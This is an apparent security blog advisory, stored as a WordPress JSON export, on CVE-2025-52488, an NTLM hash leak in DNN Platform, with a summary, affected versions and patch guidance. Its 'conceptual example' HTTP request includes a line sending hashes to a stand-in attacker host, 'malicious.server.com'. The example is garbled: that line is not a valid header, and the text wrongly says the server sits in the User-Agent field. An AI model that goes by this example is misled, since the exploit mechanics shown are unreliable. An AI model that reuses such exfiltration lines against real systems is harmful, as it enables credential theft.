{"id":55814,"date":"2025-06-28T21:25:56","date_gmt":"2025-06-28T21:25:56","guid":{"rendered":""},"modified":"2025-09-04T06:12:29","modified_gmt":"2025-09-04T12:12:29","slug":"cve-2025-52488-dnn-platform-vulnerability-exposing-ntlm-hashes-to-third-party-smb-server","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52488-dnn-platform-vulnerability-exposing-ntlm-hashes-to-third-party-smb-server\/","title":{"rendered":"<strong>CVE-2025-52488: DNN Platform Vulnerability Exposing NTLM Hashes to Third-Party SMB Server<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-52488 is a serious vulnerability discovered in DNN (formerly DotNetNuke), an open-source Web Content Management System (CMS) that operates within the Microsoft ecosystem. This vulnerability, which affects versions 6.0.0 to 10.0.0 of DNN.PLATFORM, allows for a specially crafted series of malicious interactions that could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23311-stack-overflow-vulnerability-in-nvidia-triton-inference-server-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"78814\">potentially expose NTLM hashes to a third-party SMB server<\/a>.<br \/>\nThis exposure is significant because it could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49847-buffer-overflow-vulnerability-in-llama-cpp-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"62667\">lead to potential<\/a> system compromise or data leakage, thereby impacting the security and privacy of the organizations and individuals using this platform. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-52928-severe-bypass-issue-in-arc-on-windows-allows-unauthorized-permissions-grant\/\"  data-wpil-monitor-id=\"65084\">severity of this issue<\/a> underlines the importance of immediate attention and deployment of effective mitigation strategies.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52488<br \/>\nSeverity: High (8.6 on CVSS)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6510-critical-vulnerability-in-netgear-ex6100-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"63684\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-273317530\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>DNN Platform | 6.0.0 to before 10.0.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of a flaw within the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50105-critical-vulnerability-in-oracle-universal-work-queue-allowing-unauthorized-data-access\/\"  data-wpil-monitor-id=\"77249\">DNN platform<\/a> that allows for the transmission of NTLM hashes to a third-party SMB server. An attacker can craft a series of interactions that trigger a function within the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77248\">DNN platform to send NTLM hashes<\/a> to a server under their control. Once the hashes are acquired, they can be cracked offline, providing the attacker with valid credentials to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64252\">potentially compromise systems<\/a> or leak data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4248748512\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>While the precise details of the exploit are complex, a simplified conceptual example might resemble the following:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable\/DNNfunction HTTP\/1.1\nHost: target.example.com\nUser-Agent: attackercrafted\/1.0\nSMB:\/\/malicious.server.com\/NTLMsteal<\/code><\/pre>\n<p>This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"62668\">request uses a GET method to invoke a vulnerable<\/a> function within the DNN platform that sends NTLM hashes to the malicious server specified in the User-Agent field.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are urged to apply the vendor patch as soon as possible. The issue has been patched in version 10.0.1 of the DNN platform. As a temporary measure, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic. However, these are only temporary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5310-remote-code-execution-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx-consoles\/\"  data-wpil-monitor-id=\"65547\">solutions and do not address the underlying vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-52488 is a serious vulnerability discovered in DNN (formerly DotNetNuke), an open-source Web Content Management System (CMS) that operates within the Microsoft ecosystem. This vulnerability, which affects versions 6.0.0 to 10.0.0 of DNN.PLATFORM, allows for a specially crafted series of malicious interactions that could potentially expose NTLM hashes to a third-party SMB server. This [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55814","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55814","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55814"}],"version-history":[{"count":7,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55814\/revisions"}],"predecessor-version":[{"id":71203,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55814\/revisions\/71203"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55814"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55814"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55814"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55814"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55814"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55814"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55814"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55814"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55814"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}